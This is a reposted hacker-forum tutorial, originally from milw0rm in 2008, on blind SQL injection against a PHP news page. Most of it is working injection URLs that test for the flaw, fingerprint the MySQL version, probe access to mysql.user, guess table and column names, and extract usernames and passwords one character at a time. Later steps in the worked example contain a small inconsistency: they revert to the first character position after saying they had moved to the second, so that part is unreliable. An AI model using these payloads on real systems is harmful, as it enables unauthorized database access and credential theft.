@Ms_Pony_Blind_SQLi_Tut

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Please note this is not my tut and was written by marezzi and posted on milw0rm in April 08
it is for those that already understand basic SQL. I have not edited it, only simply
reformatted it a little bit to make it easier to read.


Blind SQL Injection

Blind injection is a little more complicated the classic injection but it can be done :D
I must mention, there is very good blind sql injection tutorial by xprog, so it's not bad
to read it :D

Let's start with advanced stuff.

I will be using our example

###################################################################
http://www.site.com/news.php?id=5
###################################################################

when we execute this, we see some page and articles on that page, pictures etc...
then when we want to test it for blind sql injection attack:

###################################################################
http://www.site.com/news.php?id=5 and 1=1 <--- this is always true
###################################################################

and the page loads normally, that's ok.
now the real test:

###################################################################
http://www.site.com/news.php?id=5 and 1=2 <--- this is false
###################################################################

so if some text, picture or some content is missing on returned page then that site is

vulrnable to blind sql injection.

1) Get the MySQL version

to get the version in blind attack we use substring

i.e:

###################################################################
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
###################################################################

this should return TRUE if the version of MySQL is 4.
replace 4 with 5, and if query return TRUE then the version is 5.

i.e:

###################################################################
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
###################################################################

2) Test if subselect works

when select don't work then we use subselect

i.e:

###################################################################
http://www.site.com/news.php?id=5 and (select 1)=1
###################################################################

if page loads normally then subselects work.
then we gonna see if we have access to mysql.user

i.e:

###################################################################
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
###################################################################

if page loads normally we have access to mysql.user and then later we can pull some

password usign load_file() function and OUTFILE.

3). Check table and column names

This is part when guessing is the best friend :)

i.e:

###################################################################
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1
###################################################################

with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row,

this is very important.

then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right

one :)

let's say that we have found that table name is users, now what we need is column name.
the same as table name, we start guessing. Like i said before try the common names for

columns.

i.e:

###################################################################
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users

limit 0,1)=1
###################################################################

if the page loads normally we know that column name is password (if we get false then try

common names or just guess)

here we merge 1 with the column password, then substring returns the first character (,1,1)


4). Pull data from database

we found table users i columns username password so we gonna pull characters from that.

###################################################################
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat

(username,0x3a,password) from users limit 0,1),1,1))>80
###################################################################

ok this here pulls the first character from first user in table users.

substring here returns first character and 1 character in length. ascii() converts that 1

character into ascii value

and then compare it with simbol greater then > .

so if the ascii char greater then 80, the page loads normally. (TRUE)

we keep trying until we get false.

###################################################################
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat

(username,0x3a,password) from users limit 0,1),1,1))>95
###################################################################

we get TRUE, keep incrementing

###################################################################
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat

(username,0x3a,password) from users limit 0,1),1,1))>98
###################################################################

TRUE again, higher

###################################################################
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat

(username,0x3a,password) from users limit 0,1),1,1))>99
###################################################################

FALSE!!!

###################################################################
so the first character in username is char(99). Using the ascii converter we know that

char(99) is letter 'c'.
###################################################################

then let's check the second character.

###################################################################
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat

(username,0x3a,password) from users limit 0,1),2,1))>99
###################################################################

Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second

character, 1 character in lenght)

###################################################################
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat

(username,0x3a,password) from users limit 0,1),1,1))>99
###################################################################

TRUE, the page loads normally, higher.

###################################################################
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat

(username,0x3a,password) from users limit 0,1),1,1))>107
###################################################################

FALSE, lower number.

###################################################################
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat

(username,0x3a,password) from users limit 0,1),1,1))>104
###################################################################

TRUE, higher.

###################################################################
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat

(username,0x3a,password) from users limit 0,1),1,1))>105
###################################################################

FALSE!!!

we know that the second character is char(105) and that is 'i'. We have 'ci' so far
so keep incrementing until you get the end. (when >0 returns false we know that we have
reach the end).

There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing
everything manually, cause that makes you better SQL INJECTOR :D

Hope you learned something from this paper.


Have FUN! (:

To be continued and updated...


marezzi@gmail.com

[18 April 2008]

# milw0rm.com [2008-05-22]